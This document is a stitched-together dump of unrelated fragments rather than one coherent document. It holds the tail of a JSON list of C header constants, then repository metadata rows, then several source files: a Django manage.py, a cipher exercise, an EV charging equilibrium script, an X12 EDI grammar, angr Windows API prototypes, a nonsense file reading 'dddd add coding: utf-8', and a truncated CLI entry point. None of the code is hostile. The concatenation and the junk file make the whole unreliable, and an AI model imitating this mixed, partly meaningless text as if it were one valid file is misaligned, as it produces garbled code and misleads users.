{ "tag": "const", "name": "CPL_RESTRICT", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:969:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_RETURNS_NONNULL", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:961:11", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_FALLTHROUGH", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1058:11", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "HAVE_GCC_SYSTEM_HEADER", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1053:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "HAVE_GCC_DIAGNOSTIC_PUSH", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1049:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_NULL_TERMINATED", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:893:12", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_UNUSED", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:936:11", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_NO_RETURN", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:945:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_WARN_UNUSED_RESULT", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:928:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_NOSANITIZE_UNSIGNED_INT_OVERFLOW", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1160:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_ERROR_H_INCLUDED", "ns": 0, "location": "/usr/include/gdal/cpl_error.h:32:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_NULLPTR", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1170:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "VOLATILE_BOOL", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1155:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "FALSE", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1147:11", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "TRUE", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:1151:11", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "__CLANG_MAX_ALIGN_T_DEFINED", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/__stddef_max_align_t.h:11:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "_PTRDIFF_T", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/stddef.h:33:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "__itimerspec_defined", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/types/struct_itimerspec.h:2:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "TIME_UTC", "ns": 0, "location": "/usr/include/time.h:65:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "INCLUDED_CPL_CONFIG_EXTRAS", "ns": 0, "location": "/usr/include/gdal/cpl_config_extras.h:4:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_RECODE_ICONV", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:106:11", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CPL_RECODE_STUB", "ns": 0, "location": "/usr/include/gdal/cpl_port.h:109:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "CLOCK_MONOTONIC_COARSE", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:58:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 6 },
{ "tag": "const", "name": "CLOCK_REALTIME_COARSE", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:56:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 5 },
{ "tag": "const", "name": "CLOCK_REALTIME_ALARM", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:62:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 8 },
{ "tag": "const", "name": "CLOCK_BOOTTIME", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:60:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 7 },
{ "tag": "const", "name": "CLOCK_TAI", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:66:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 11 },
{ "tag": "const", "name": "CLOCK_BOOTTIME_ALARM", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:64:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 9 },
{ "tag": "const", "name": "__struct_tm_defined", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/types/struct_tm.h:2:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "TIMER_ABSTIME", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:69:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "_TIME_H", "ns": 0, "location": "/usr/include/time.h:23:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "CLOCK_REALTIME", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:46:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 0 },
{ "tag": "const", "name": "_BITS_TIME_H", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:24:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "CLOCKS_PER_SEC", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:34:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1000000 },
{ "tag": "const", "name": "CLOCK_PROCESS_CPUTIME_ID", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:50:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 2 },
{ "tag": "const", "name": "CLOCK_MONOTONIC", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:48:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "CLOCK_MONOTONIC_RAW", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:54:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 4 },
{ "tag": "const", "name": "CLOCK_THREAD_CPUTIME_ID", "ns": 0, "location": "/usr/include/x86_64-linux-gnu/bits/time.h:52:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 3 },
{ "tag": "const", "name": "__USE_XOPEN2K8", "ns": 0, "location": "/usr/include/features.h:325:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
{ "tag": "const", "name": "USHRT_MAX", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/limits.h:55:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 65535 },
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{ "tag": "const", "name": "INT_MAX", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/limits.h:46:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 2147483647 },
{ "tag": "const", "name": "LONG_MIN", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/limits.h:52:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": -9223372036854775808 },
{ "tag": "const", "name": "UINT_MAX", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/limits.h:56:9", "type": { "tag": ":unsigned-long", "bit-size": 64, "bit-alignment": 64 }, "value": 4294967295 },
{ "tag": "const", "name": "ULONG_MAX", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/limits.h:57:9", "type": { "tag": ":unsigned-long", "bit-size": 64, "bit-alignment": 64 }, "value": 18446744073709551615 },
{ "tag": "const", "name": "CHAR_BIT", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/limits.h:63:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 8 },
{ "tag": "const", "name": "CHAR_MIN", "ns": 0, "location": "/usr/lib/clang/9.0.0/include/limits.h:69:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": -128 },
{ "tag": "const", "name": "__USE_ATFILE", "ns": 0, "location": "/usr/include/features.h:373:10", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 }, "value": 1 },
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{ "tag": "const", "name": "stdout", "ns": 0, "location": "/usr/include/stdio.h:142:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } },
{ "tag": "const", "name": "stderr", "ns": 0, "location": "/usr/include/stdio.h:143:9", "type": { "tag": ":long", "bit-size": 64, "bit-alignment": 64 } }
]
| [
"jeremiah_larocco@fastmail.com"
] | jeremiah_larocco@fastmail.com |
bcab80bf8c6ebe62c1d3dfcf1cbbbc056c376ce7 | 8a32dbf34abdb35d44adb8e9572f448b6c867ffc | /manage.py | 9bad028e4349b653c11b4310dd0c30f7dec81901 | [
"MIT"
] | permissive | BerryBC/SpyDataWebAppAndAPI | fd93d46a400014ace9e03a13395e813676b1c71c | 6dd42a186e6955575fb747f7ff69c5b5a060ca19 | refs/heads/master | 2020-12-28T05:47:26.252630 | 2020-06-09T12:27:27 | 2020-06-09T12:27:27 | 238,201,590 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 639 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'SpyDataWebAppAndAPI.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
| [
"Berry_BC_@163.com"
] | Berry_BC_@163.com |
66a46adc198d4c741e35ee27922208a6dc960bf3 | 5c116e926ef3dc5e61442509b4a88024f208b9f1 | /Exercise_Chapter11_SetA.py | 61b071fb71e3dcf91b1591d264c4141d5512c441 | [] | no_license | EvgenTol/Hacking-Secret-Cipher-With-Python-Book | aecc8b67fb4678d76674f187ebfff22923b82564 | 2e755bb6a72ac9bc1e90f1c19bffb4c2a76e9940 | refs/heads/master | 2020-12-30T12:10:40.455624 | 2017-05-22T08:09:24 | 2017-05-22T08:09:24 | 91,503,232 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,226 | py | '''
Book: Hacking Secret Ciphers with Python, by Al Sweigart
Author: Evgen Tolstykh
Page: 152
Chapter: 11
'''
import time , os , sys , Exercise_Chapter8_SetA , Exercise_Chapter9_SetA
def main():
inputFile = "Test.encrypted.txt"
outputFile = "Test.decrypted.txt"
myKey = 10
myMode = "decrypt"
# if the input path is not correct, the programm terminates
if not os.path.exists(inputFile):
print("The file %s does not exist. Quitting..." % (inputFile))
sys.exit()
# if the the ouput file already exists, give the user a chance to quit
if os.path.exists((outputFile)):
print("This will override the file %s. (C)ontiniue or (Q)uit?" %(outputFile))
response = input("> ")
if not response.lower().startswith("c"):
sys.exit()
# read in the message from the input file
fileObj = open(inputFile)
content = fileObj.read()
fileObj.close()
print("%sing..." %(myMode.title()))
# Measure how long the encryption/decryption takes
startTime = time.time()
if myMode == "encrypt":
translated = Exercise_Chapter8_SetA.encryptMessage(myKey , content)
elif myMode == "decrypt":
translated = Exercise_Chapter9_SetA.decryptMessage(myKey , content)
totalTime = round(time.time() - startTime, 2)
print("%sion time: %s seconds" %(myMode.title() , totalTime))
# Write out the translated message to the output file
outputFileObj = open(outputFile , "w")
outputFileObj.write(translated)
outputFileObj.close()
print("Done %sing %s (%s characters)." %(myMode.title() , outputFile , len(content)))
if __name__ == "__main__":
main()
'''
Page: 163
Set: A
1) Which is correct: os.exists() or os.path.exists()
1) => os.path.exists()
2) When is the UNIX epoch?
2) => 1.1.1970
What do the following expressions evaluate to?
1) 'Foobar'.startswith('Foo')
1) => True
2) 'Foo'.startswith('Foobar')
2) => False
3) 'Foobar'.startswith('foo')
3) => False
4) => 'bar'.endswith('Foobar')
4) => False
5) 'Foobar'.endswith('bar')
5) => True
6) 'The quick brown fox jumped over the yellow lazy dog.'.title()
6) => "The Quick Brown Fox Jumped Over The Yellow Lazy Dog."
''' | [
"e.tolstykh@yahoo.de"
] | e.tolstykh@yahoo.de |
c7d207caab2d8049dd46ee2d929fe5d591e46eac | 9e5f8a39016ba2fd39a7dd44bd598eb054d01de9 | /EV_CS_edit/Equilibrium_with_equality/verify_equilibrium.py | 950ec455db0c1a343830ae732fc376502db0bbf7 | [] | no_license | kjzlkj/EV_CS | 22b3d2541e31d604bcad2ec4cb307c433474a2c4 | 4cc6171fa5134a464aca0e1426d997e435b89228 | refs/heads/main | 2023-06-14T00:53:28.591026 | 2021-07-07T08:01:11 | 2021-07-07T08:01:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,429 | py | #!/usr/bin/env python
# _*_ coding: utf-8 _*_
# @Time : 2021/3/5 11:09
# @Author : wbw
# @Version：V 0.1
# @File : verify_equilibrium.py
# @desc : verify the equilibrium of regions
import random
from EV_Equilibrium import EvEquilibrium
import numpy as np
from matplotlib import pyplot as plt
from config import config
evEquilibrium = EvEquilibrium()
"""验证底层的均衡解是否正确，原理是对于每个区域，
其在均衡状态下发到每个充电站的流量满足：p_j+q_j+d_ij+f_ij相等。
"""
if __name__ == "__main__":
# 初始化操作, 假设目前有1个公司控制2个充电站
# p_1 = 30
# p_2 = 10
price = []
p_min = 10
p_max = 50
for cs in range(config.cs_num):
price.append(random.randint(p_min, p_max))
region_num = config.region_num
minimize_res_list = []
vehicle_vector = config.vehicle_vector
dist, vehicle_num, region, strategy_vector = evEquilibrium.initiation(region_num, config.cs_num)
print("初始化dist集合, 车辆数， agent, 策略向量集合, 价格集合分别为：", dist, vehicle_num,
region, strategy_vector, price)
# 求得此定价下底层的策略
strategy = evEquilibrium.best_response_simulation(region, dist, vehicle_num,
price, minimize_res_list, strategy_vector)
for agent in range(config.region_num):
print("区域", agent, "的策略：", strategy[agent])
# f_i_1 = 0 # 到充电站1的车流量
# f_i_2 = 0 # 到充电站2的车流量
# f_i_3 = 0
f_i = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
for cs in range(config.cs_num):
for item in range(region_num):
f_i[cs] = f_i[cs] + vehicle_vector[item] * strategy[item][cs]
# f_i_1 = f_i_1 + vehicle_vector[item] * strategy[item] # 所有区域派到充电站1的车辆数量
# f_i_2 = f_i_2 + vehicle_vector[item] * strategy[item] # 所有区域派到充电站2的车辆数量
# f_i_2 = f_i_2 + vehicle_vector[item] * strategy[item]
# 下面分别来看均衡下，每个充电站的流量负载情况是否相等
# 对区域4
load = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
for cs in range(config.cs_num):
load[cs] = price[cs] + dist[cs][1] + f_i[cs] + vehicle_vector[1] + strategy_vector[1][cs]
for cs in range(config.cs_num):
print("负载", cs+1, ": ", load[cs])
| [
"434966069@qq.com"
] | 434966069@qq.com |
42836521a575f8c077b4bfebb8d8e2419be572af | 62e58c051128baef9452e7e0eb0b5a83367add26 | /x12/4051/527004051.py | 8c9efc8520e73dc4035dfeae8878f979b3e8fff1 | [] | no_license | dougvanhorn/bots-grammars | 2eb6c0a6b5231c14a6faf194b932aa614809076c | 09db18d9d9bd9d92cefbf00f1c0de1c590fe3d0d | refs/heads/master | 2021-05-16T12:55:58.022904 | 2019-05-17T15:22:23 | 2019-05-17T15:22:23 | 105,274,633 | 0 | 0 | null | 2017-09-29T13:21:21 | 2017-09-29T13:21:21 | null | UTF-8 | Python | false | false | 2,610 | py | from bots.botsconfig import *
from records004051 import recorddefs
syntax = {
'version' : '00403', #version of ISA to send
'functionalgroup' : 'MD',
}
structure = [
{ID: 'ST', MIN: 1, MAX: 1, LEVEL: [
{ID: 'BR', MIN: 1, MAX: 1},
{ID: 'G62', MIN: 0, MAX: 5},
{ID: 'NTE', MIN: 0, MAX: 5},
{ID: 'LM', MIN: 0, MAX: 50, LEVEL: [
{ID: 'LQ', MIN: 1, MAX: 100},
]},
{ID: 'N1', MIN: 1, MAX: 20, LEVEL: [
{ID: 'N2', MIN: 0, MAX: 2},
{ID: 'N3', MIN: 0, MAX: 2},
{ID: 'N4', MIN: 0, MAX: 1},
{ID: 'G61', MIN: 0, MAX: 5},
]},
{ID: 'LIN', MIN: 1, MAX: 99999, LEVEL: [
{ID: 'CS', MIN: 0, MAX: 1},
{ID: 'N9', MIN: 0, MAX: 10},
{ID: 'RCD', MIN: 1, MAX: 99999, LEVEL: [
{ID: 'G62', MIN: 0, MAX: 10},
{ID: 'GF', MIN: 0, MAX: 1},
{ID: 'DD', MIN: 0, MAX: 100},
{ID: 'N9', MIN: 0, MAX: 5},
{ID: 'AMT', MIN: 0, MAX: 1},
{ID: 'NTE', MIN: 0, MAX: 5},
{ID: 'G66', MIN: 0, MAX: 5},
{ID: 'LM', MIN: 0, MAX: 25, LEVEL: [
{ID: 'LQ', MIN: 1, MAX: 100},
]},
{ID: 'CS', MIN: 0, MAX: 99999, LEVEL: [
{ID: 'PO4', MIN: 0, MAX: 1},
{ID: 'N9', MIN: 0, MAX: 5},
{ID: 'G62', MIN: 0, MAX: 5},
{ID: 'G69', MIN: 0, MAX: 5},
{ID: 'LM', MIN: 0, MAX: 25, LEVEL: [
{ID: 'LQ', MIN: 1, MAX: 100},
]},
]},
{ID: 'N1', MIN: 0, MAX: 25, LEVEL: [
{ID: 'N2', MIN: 0, MAX: 2},
{ID: 'N3', MIN: 0, MAX: 2},
{ID: 'N4', MIN: 0, MAX: 1},
{ID: 'G61', MIN: 0, MAX: 1},
]},
{ID: 'REF', MIN: 0, MAX: 99999, LEVEL: [
{ID: 'G62', MIN: 0, MAX: 10},
{ID: 'N9', MIN: 0, MAX: 99999},
{ID: 'N1', MIN: 0, MAX: 1},
{ID: 'LM', MIN: 0, MAX: 50, LEVEL: [
{ID: 'LQ', MIN: 1, MAX: 100},
]},
]},
{ID: 'QTY', MIN: 0, MAX: 99999, LEVEL: [
{ID: 'N1', MIN: 0, MAX: 1},
{ID: 'LM', MIN: 0, MAX: 100, LEVEL: [
{ID: 'LQ', MIN: 1, MAX: 100},
]},
]},
{ID: 'FA1', MIN: 0, MAX: 99999, LEVEL: [
{ID: 'FA2', MIN: 1, MAX: 99999},
]},
]},
]},
{ID: 'SE', MIN: 1, MAX: 1},
]}
]
| [
"jason.capriotti@gmail.com"
] | jason.capriotti@gmail.com |
a12e797795097cab3d075cf3d0e2a595af7d24c8 | 4fc9cb4cf01e41c4ed3de89f13d213e95c87dd33 | /angr/procedures/definitions/win32_tokenbinding.py | c8f0611d8f6b05290788ee3f32ec70edc73bc914 | [
"BSD-2-Clause"
] | permissive | mborgerson/angr | ea5daf28576c3d31b542a0e229139ab2494326e9 | 8296578e92a15584205bfb2f7add13dd0fb36d56 | refs/heads/master | 2023-07-24T22:41:25.607215 | 2022-10-19T19:46:12 | 2022-10-20T18:13:31 | 227,243,942 | 1 | 2 | BSD-2-Clause | 2021-04-07T22:09:51 | 2019-12-11T00:47:55 | Python | UTF-8 | Python | false | false | 7,224 | py | # pylint:disable=line-too-long
import logging
from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool
from ...calling_conventions import SimCCStdcall, SimCCMicrosoftAMD64
from .. import SIM_PROCEDURES as P
from . import SimLibrary
_l = logging.getLogger(name=__name__)
lib = SimLibrary()
lib.set_default_cc('X86', SimCCStdcall)
lib.set_default_cc('AMD64', SimCCMicrosoftAMD64)
lib.set_library_names("tokenbinding.dll")
prototypes = \
{
#
'TokenBindingGenerateBinding': SimTypeFunction([SimTypeInt(signed=False, label="TOKENBINDING_KEY_PARAMETERS_TYPE"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="TOKENBINDING_TYPE"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="TOKENBINDING_EXTENSION_FORMAT"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypePointer(SimStruct({"bindingType": SimTypeInt(signed=False, label="TOKENBINDING_TYPE"), "identifierSize": SimTypeInt(signed=False, label="UInt32"), "identifierData": SimTypePointer(SimStruct({"keyType": SimTypeChar(label="Byte")}, name="TOKENBINDING_IDENTIFIER", pack=False, align=None), offset=0), "extensionFormat": SimTypeInt(signed=False, label="TOKENBINDING_EXTENSION_FORMAT"), "extensionSize": SimTypeInt(signed=False, label="UInt32"), "extensionData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="TOKENBINDING_RESULT_DATA", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["keyType", "targetURL", "bindingType", "tlsEKM", "tlsEKMSize", "extensionFormat", "extensionData", "tokenBinding", "tokenBindingSize", "resultData"]),
#
'TokenBindingGenerateMessage': SimTypeFunction([SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), label="LPArray", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["tokenBindings", "tokenBindingsSize", "tokenBindingsCount", "tokenBindingMessage", "tokenBindingMessageSize"]),
#
'TokenBindingVerifyMessage': SimTypeFunction([SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="TOKENBINDING_KEY_PARAMETERS_TYPE"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimStruct({"resultCount": SimTypeInt(signed=False, label="UInt32"), "resultData": SimTypePointer(SimStruct({"bindingType": SimTypeInt(signed=False, label="TOKENBINDING_TYPE"), "identifierSize": SimTypeInt(signed=False, label="UInt32"), "identifierData": SimTypePointer(SimStruct({"keyType": SimTypeChar(label="Byte")}, name="TOKENBINDING_IDENTIFIER", pack=False, align=None), offset=0), "extensionFormat": SimTypeInt(signed=False, label="TOKENBINDING_EXTENSION_FORMAT"), "extensionSize": SimTypeInt(signed=False, label="UInt32"), "extensionData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="TOKENBINDING_RESULT_DATA", pack=False, align=None), offset=0)}, name="TOKENBINDING_RESULT_LIST", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["tokenBindingMessage", "tokenBindingMessageSize", "keyType", "tlsEKM", "tlsEKMSize", "resultList"]),
#
'TokenBindingGetKeyTypesClient': SimTypeFunction([SimTypePointer(SimTypePointer(SimStruct({"keyCount": SimTypeInt(signed=False, label="UInt32"), "keyType": SimTypePointer(SimTypeInt(signed=False, label="TOKENBINDING_KEY_PARAMETERS_TYPE"), offset=0)}, name="TOKENBINDING_KEY_TYPES", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["keyTypes"]),
#
'TokenBindingGetKeyTypesServer': SimTypeFunction([SimTypePointer(SimTypePointer(SimStruct({"keyCount": SimTypeInt(signed=False, label="UInt32"), "keyType": SimTypePointer(SimTypeInt(signed=False, label="TOKENBINDING_KEY_PARAMETERS_TYPE"), offset=0)}, name="TOKENBINDING_KEY_TYPES", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["keyTypes"]),
#
'TokenBindingDeleteBinding': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["targetURL"]),
#
'TokenBindingDeleteAllBindings': SimTypeFunction([], SimTypeInt(signed=True, label="Int32")),
#
'TokenBindingGenerateID': SimTypeFunction([SimTypeInt(signed=False, label="TOKENBINDING_KEY_PARAMETERS_TYPE"), SimTypePointer(SimTypeBottom(label="Void"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimStruct({"bindingType": SimTypeInt(signed=False, label="TOKENBINDING_TYPE"), "identifierSize": SimTypeInt(signed=False, label="UInt32"), "identifierData": SimTypePointer(SimStruct({"keyType": SimTypeChar(label="Byte")}, name="TOKENBINDING_IDENTIFIER", pack=False, align=None), offset=0), "extensionFormat": SimTypeInt(signed=False, label="TOKENBINDING_EXTENSION_FORMAT"), "extensionSize": SimTypeInt(signed=False, label="UInt32"), "extensionData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="TOKENBINDING_RESULT_DATA", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["keyType", "publicKey", "publicKeySize", "resultData"]),
#
'TokenBindingGenerateIDForUri': SimTypeFunction([SimTypeInt(signed=False, label="TOKENBINDING_KEY_PARAMETERS_TYPE"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypePointer(SimStruct({"bindingType": SimTypeInt(signed=False, label="TOKENBINDING_TYPE"), "identifierSize": SimTypeInt(signed=False, label="UInt32"), "identifierData": SimTypePointer(SimStruct({"keyType": SimTypeChar(label="Byte")}, name="TOKENBINDING_IDENTIFIER", pack=False, align=None), offset=0), "extensionFormat": SimTypeInt(signed=False, label="TOKENBINDING_EXTENSION_FORMAT"), "extensionSize": SimTypeInt(signed=False, label="UInt32"), "extensionData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="TOKENBINDING_RESULT_DATA", pack=False, align=None), offset=0), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["keyType", "targetUri", "resultData"]),
#
'TokenBindingGetHighestSupportedVersion': SimTypeFunction([SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["majorVersion", "minorVersion"]),
}
lib.set_prototypes(prototypes)
| [
"noreply@github.com"
] | mborgerson.noreply@github.com |
68cf799fe4f6d54a02fd5013dd8b5100c7eac001 | 9896742e3554ca924a05e1fbb571f00a5a103c8a | /hellp.py | de608408b926eed4807613b5ecbc4fbbe108b2b0 | [] | no_license | imarkofu/gitskills | 4d027141c816d33ebb4c8bd6698ade2ff9d60cb0 | de5beea54e30d3470bd9930311bece917cd9435f | refs/heads/master | 2021-01-20T16:24:25.137708 | 2017-02-23T02:43:45 | 2017-02-23T02:43:45 | 82,778,000 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 36 | py | dddd
add coding: utf-8
dddfasdfasdf
| [
"gbwl_cgl@163.com"
] | gbwl_cgl@163.com |
832351d1f81817222ee3098cd7399d13748b0bff | 67e51d2e6d6936ec64ad4ba6cd1f6a8ce3dd6a30 | /fastx_barber/scripts/barber.py | 97e5aa0f48c27518169c0e19e16b4c50d5e95613 | [
"MIT"
] | permissive | ggirelli/fastx-barber | b433f501ae606b44cd6942753e714a28a5828913 | 76d888d11f06690b74fc8d4b857d447ac4b4ea45 | refs/heads/main | 2023-04-08T07:25:15.098820 | 2022-08-23T08:28:05 | 2022-08-23T08:28:05 | 281,703,558 | 4 | 0 | MIT | 2023-03-07T08:24:30 | 2020-07-22T14:42:55 | Python | UTF-8 | Python | false | false | 1,126 | py | """
@author: Gabriele Girelli
@contact: gigi.ga90@gmail.com
"""
import argparse
from fastx_barber import __version__
from fastx_barber.scripts import arguments as ap
from fastx_barber import scripts
import sys
def default_parser(*args) -> None:
print("fbarber -h for usage details.")
sys.exit()
def main():
parser = argparse.ArgumentParser(
description=f"""
Version: {__version__}
Author: Gabriele Girelli
Docs: http://ggirelli.github.io/fastx-barber
Code: http://github.com/ggirelli/fastx-barber
FASTX barber tools.
""",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.set_defaults(parse=default_parser)
parser = ap.add_version_option(parser)
subparsers = parser.add_subparsers(
title="sub-commands",
help="Access the help page for a sub-command with: sub-command -h",
)
scripts.find_seq.init_parser(subparsers)
scripts.flag.init_parser(subparsers)
